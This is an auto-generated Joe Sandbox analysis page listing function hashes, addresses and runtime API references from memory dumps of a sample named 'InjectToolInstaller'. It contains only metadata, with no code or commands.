Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: cd9128bdefc69f32f3e61d1038055e3789ccf3765d8e674e8771afa7a38f0ca3
Instruction ID: 4e5db94f77c1e91ff81a803fbbb30c998e672475ac24cb3859c589ec650b94c8
Opcode Fuzzy Hash: cd9128bdefc69f32f3e61d1038055e3789ccf3765d8e674e8771afa7a38f0ca3
Instruction Fuzzy Hash: A251ABA3700749D7EF39892CB459BBFEBDA9B1334CF8A0509E683DBA8EC601D5058351

Uniqueness

Uniqueness Score: -1.00%

Function 013DB91A Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 013DBA8A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: c9f4784b3370ae74645819e8d39281464c6ea8db76a18c5a89ae742ab6db9da2
Instruction ID: 1a51887492cac89974acd58ee00be30584cb6d3b02c7244d3e6c766f8ad502e5
Opcode Fuzzy Hash: c9f4784b3370ae74645819e8d39281464c6ea8db76a18c5a89ae742ab6db9da2
Instruction Fuzzy Hash: A151ABA360078D47FF39497CB458BBFEBD99B1320CF0A0419DA82DB69EC224D6058352

Uniqueness

Uniqueness Score: -1.00%

Function 013DBB49 Relevance: 1.5, Strings: 1, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 013DBCB9

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 64dad9604cbc8fa065f8f1537ae561eaed68534c90bb814e75ccbde21533bc3e
Instruction ID: 1df188c5e1dadf377000f7489571e2fdd86b5d8f69965cc51b7e9d363a43565b
Opcode Fuzzy Hash: 64dad9604cbc8fa065f8f1537ae561eaed68534c90bb814e75ccbde21533bc3e
Instruction Fuzzy Hash: 1F518AB360060A9BEF39497C74957BEEBDDAB1320CF0A0809E543CB68DCA45D6458352

Uniqueness

Uniqueness Score: -1.00%

Function 013DBFB2 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 013DC122

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d72ded2f232b6ab544af27a0259d1937c09c52723eb41aaeef571bfd6ad9ab85
Instruction ID: fa3a029fd3cc5dcbc5ef930bcca9b5ca9d116ed1c32b118fdbc49f88bed41f0e
Opcode Fuzzy Hash: d72ded2f232b6ab544af27a0259d1937c09c52723eb41aaeef571bfd6ad9ab85
Instruction Fuzzy Hash: 3651877362075957FB39897CB4A47BE6BCD9B0324CF08250DEA82D76C2C616D54AC352

Uniqueness

Uniqueness Score: -1.00%

Function 013ED3E1 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 013ED3E1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e4199e179a6b751b85f1246faf405d15527830d779b55ca0b94621b8db5c3c0f
Instruction ID: 8cb3c57b1bc33dcb232f0d20f029c5da9ce8107028e566244127d50195aaf93b
Opcode Fuzzy Hash: e4199e179a6b751b85f1246faf405d15527830d779b55ca0b94621b8db5c3c0f
Instruction Fuzzy Hash: BDA00271716201CFD7608F3AE78970F3AEEBB477E2B25806DE805C9278EB7484909B01

Uniqueness

Uniqueness Score: -1.00%

Function 013A42C3 Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbda944c78125c7f1868a8f94afcbe95461d3de84e3e38f2cb683a99ed391c24
Instruction ID: c0de54fa5eabd97856efbcd1f9e3c2ed706fff2d20d36d97777125f7af56f315
Opcode Fuzzy Hash: dbda944c78125c7f1868a8f94afcbe95461d3de84e3e38f2cb683a99ed391c24
Instruction Fuzzy Hash: 9302C772E101658FDF05CF7CC4806AC7FE2FB85389F598669E86ADB245E670D981CB80

Uniqueness

Uniqueness Score: -1.00%

Function 013F5410 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1109915bd1015a7a7150aa83a7512ff9de437ac7d7fc18511c9c3f543220239b
Instruction ID: b61ec5962451f26bcd926567654706bf0751dd2534b38bd29b652b290a5ba3a3
Opcode Fuzzy Hash: 1109915bd1015a7a7150aa83a7512ff9de437ac7d7fc18511c9c3f543220239b
Instruction Fuzzy Hash: C3F17D71A002299FEB25DF18DC80BE9B7B9FF45318F5440AEDA4AA7245E7309E54CF81

Uniqueness

Uniqueness Score: -1.00%

Function 013C36BA Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 6900349e7a68fa8d5cb679af41d48701cf55ab134de37a03eef02ab36a2aa85b
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 03C1703660519349EF2E463EC47417EBEE17E92AB931A876DE4B3CB1D5EE20C524C720

Uniqueness

Uniqueness Score: -1.00%

Function 013C3AEF Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: f1d4d3ff9593a9831b26581530266f7a932c0387125989ae0490b25e5ffb5c2e
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 95C16D322051934AEF6E467EC47403EFEF17A92AB931A876DD4B2CB1D5EE20C524D720

Uniqueness

Uniqueness Score: -1.00%

Function 013C3285 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 60c7c1c6f796f8a3cf14e427e6ab95cde2a522ba157201a89d040dd1b61e7c98
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 0AC162362091934AEF6E467DC47403EFEE17A92AB531A876DD4B3CB1D5EE20C564C720

Uniqueness

Uniqueness Score: -1.00%

Function 013C2E6D Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 67910b7cfd35d314afa10472593160d8d2cc43cb9df56e557f65a1299b0db7a6
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 18C161322051A349EF2E463EC43413EBEF27A92AB931A576DD4B3CB1D5EE20D564D720

Uniqueness

Uniqueness Score: -1.00%

Function 013F4F60 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f79091ff6afa2429d932a82ce43e33e344bb52b48784b3e7124c2c3e4e57688d
Instruction ID: 7f339f02933959477e2ba38399f7ca4550c660207e936d2208098fac21b110c1
Opcode Fuzzy Hash: f79091ff6afa2429d932a82ce43e33e344bb52b48784b3e7124c2c3e4e57688d
Instruction Fuzzy Hash: D9B16F75A002299FDB21DF18D880BEDB7B5EF89318F1441EEDE09AB245E7319E418F80

Uniqueness

Uniqueness Score: -1.00%

Function 013DC43E Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43a3afc864c7de153900cfb784f96e1bec27ab764b13ba9b7dc68b919b306fe6
Instruction ID: 931f1c629656436e8bf6013316cd50175a2097b9bbc4629540b0b83bb729bb61
Opcode Fuzzy Hash: 43a3afc864c7de153900cfb784f96e1bec27ab764b13ba9b7dc68b919b306fe6
Instruction Fuzzy Hash: 8B61CEB322030997EE39592DB851BBEA7AAEF4161CF84351DE643EB5C0CA11E941C715

Uniqueness

Uniqueness Score: -1.00%

Function 013DCB64 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63c494a04df7051a7a208444897b4ab13c58a52abcc20fb2904b534b9121f25
Instruction ID: 847cb7d51248981e3bb94f8958ab9180283f9e229fe6a88c12e940909f74f2de
Opcode Fuzzy Hash: b63c494a04df7051a7a208444897b4ab13c58a52abcc20fb2904b534b9121f25
Instruction Fuzzy Hash: F761A57362070D57EE395A2CB9A4BBE2B99EB0160CF04281EEB82DB6D0D611D943D346

Uniqueness

Uniqueness Score: -1.00%

Function 013DC1E1 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d6b28ae179aac2072da7b5a2ea848cafc59019639b6704043350dc30c2a927
Instruction ID: 54785b5d03f03a51945e61fd65a0beaf9a761634a4051acb2662d7ac3397262e
Opcode Fuzzy Hash: 72d6b28ae179aac2072da7b5a2ea848cafc59019639b6704043350dc30c2a927
Instruction Fuzzy Hash: AE6187B362070957EF3959BCB8907FE7798AB1260CF04241EEA4BDB681DA04DB42C305

Uniqueness

Uniqueness Score: -1.00%

Function 013DC6AA Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0e124564e0036e5160134e23544c4080c63ba1927c8e0d1cdb5efa05c459c8
Instruction ID: f68b8f9ab3e09245a03f265fcc5efd15c8b7cf84a82b959e6e1c3b36b0e24d76
Opcode Fuzzy Hash: 8d0e124564e0036e5160134e23544c4080c63ba1927c8e0d1cdb5efa05c459c8
Instruction Fuzzy Hash: 3361767373030D6AEE38992CB896BBE2B98EF4565CF01391EE642DB6C0D711D942C345

Uniqueness

Uniqueness Score: -1.00%

Function 013DC907 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd0cf6552d016aab41f611e94e088047006a4406f14c9d59f026e0816788058d
Instruction ID: 518349af4bc6d19116c6a1c741af31dd888ce84e7734ef6ffd2b60cab531a888
Opcode Fuzzy Hash: bd0cf6552d016aab41f611e94e088047006a4406f14c9d59f026e0816788058d
Instruction Fuzzy Hash: E6618A7367070956FE38C96CB894BBE6798EB41B0CF00351EEA82EB5C1E631D942C356

Uniqueness

Uniqueness Score: -1.00%

Function 013DCDD0 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4186605147aa85c8cc13849b08bd122700e91e3b1f65cb418ec681d4057ab727
Instruction ID: 4c954bfbf49f6ae95207e6fe62a58bb76ff77064a5c88417f0b0b27a6329943a
Opcode Fuzzy Hash: 4186605147aa85c8cc13849b08bd122700e91e3b1f65cb418ec681d4057ab727
Instruction Fuzzy Hash: A26189F363070966EA344A2CB894BFEB79CEF4160DF00345DE68BCB2C1D611A94AC345

Uniqueness

Uniqueness Score: -1.00%

Function 013A1A78 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d85f73f87dc2ff28439b6e5fe0a9168c96d7bfba0c91277c1911ce2b073819
Instruction ID: 996ea6a932d0ce0bacdc9485f2f555fa87d33507e9260e9a8120defade78a3dc
Opcode Fuzzy Hash: 26d85f73f87dc2ff28439b6e5fe0a9168c96d7bfba0c91277c1911ce2b073819
Instruction Fuzzy Hash: 31513C76E102299BDB08CEADC8906EDFBB1EB88314F19417AD915F7340D674AD418B90

Uniqueness

Uniqueness Score: -1.00%

Function 013A1939 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d1f4a9b2acca5efdcf55cfd512aa981f116524047ed35ddffee80da06ce3105
Instruction ID: 04adc455abf77ea5d527dd3553b7ecf3dde3fa8d827df2afaf1085323a6ab072
Opcode Fuzzy Hash: 3d1f4a9b2acca5efdcf55cfd512aa981f116524047ed35ddffee80da06ce3105
Instruction Fuzzy Hash: 3941363230064A4FEB25CD6DCCD02AABBD7DBC5158F88C52DD5E6C7A45D670E916C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 013A1202 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ccd41e26f5dfa11e7ea346006b930a48a9cbe979383b18844f9cca07bb77c1
Instruction ID: eb1f649a604b76aa227fe4e238ae5a6c9c709a179c4ab6936119878538baa4e9
Opcode Fuzzy Hash: c2ccd41e26f5dfa11e7ea346006b930a48a9cbe979383b18844f9cca07bb77c1
Instruction Fuzzy Hash: 1821B8719201255BC716CE5DC8845FAF7A0FB49309FC2826AEE41DB385C639F925D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 013A1169 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0440dbf8c4e414b21f2224c55c79674dfbe06ca6a9d3812910e881400aac198
Instruction ID: a077f9eecde2f557b8f7838aae921386709a1d288299559c7264c5b3fcac71ca
Opcode Fuzzy Hash: d0440dbf8c4e414b21f2224c55c79674dfbe06ca6a9d3812910e881400aac198
Instruction Fuzzy Hash: 0211A9316104355BD716CD2ECC845B67BA6EB85319FCAC326ED819F289C634F915C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 013CF8BD Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc59a307aed515b342e46587900c1a3f9f8a05e5db9596cfd3e1df45cfa919e
Instruction ID: e167b2c0e8382178c69bee97519b80dfad2eea396f37d59759730071d922c0bc
Opcode Fuzzy Hash: abc59a307aed515b342e46587900c1a3f9f8a05e5db9596cfd3e1df45cfa919e
Instruction Fuzzy Hash: 08C09B3912165447DF12EA1CD55174937D8F79094DFC014C4D84183912C31D9D45D510

Uniqueness

Uniqueness Score: -1.00%

Function 013CB22B Relevance: 81.0, APIs: 43, Strings: 3, Instructions: 472COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013CB2A9

Part of subcall function 013C7C53: DName::doPchar.LIBVCRUNTIME ref: 013C7C7A

DName::operator+.LIBCMT ref: 013CB2B0

Part of subcall function 013C821E: DName::operator+=.LIBVCRUNTIME ref: 013C8234

DName::operator+=.LIBVCRUNTIME ref: 013CB5BA
UnDecorator::getSignedDimension.LIBCMT ref: 013CB5C9
DName::operator+.LIBCMT ref: 013CB5D1
DName::operator+=.LIBVCRUNTIME ref: 013CB5DA
UnDecorator::getSignedDimension.LIBCMT ref: 013CB5E9
DName::operator+.LIBCMT ref: 013CB5F1
DName::operator+=.LIBVCRUNTIME ref: 013CB5FA
UnDecorator::getSignedDimension.LIBCMT ref: 013CB609
DName::operator+.LIBCMT ref: 013CB611
DName::operator+=.LIBVCRUNTIME ref: 013CB61A
DName::operator+.LIBCMT ref: 013CB633
DName::operator+=.LIBVCRUNTIME ref: 013CB63C
DName::operator+.LIBCMT ref: 013CB649
DName::operator+=.LIBVCRUNTIME ref: 013CB688

Part of subcall function 013C82C8: DName::operator+=.LIBCMT ref: 013C82E4

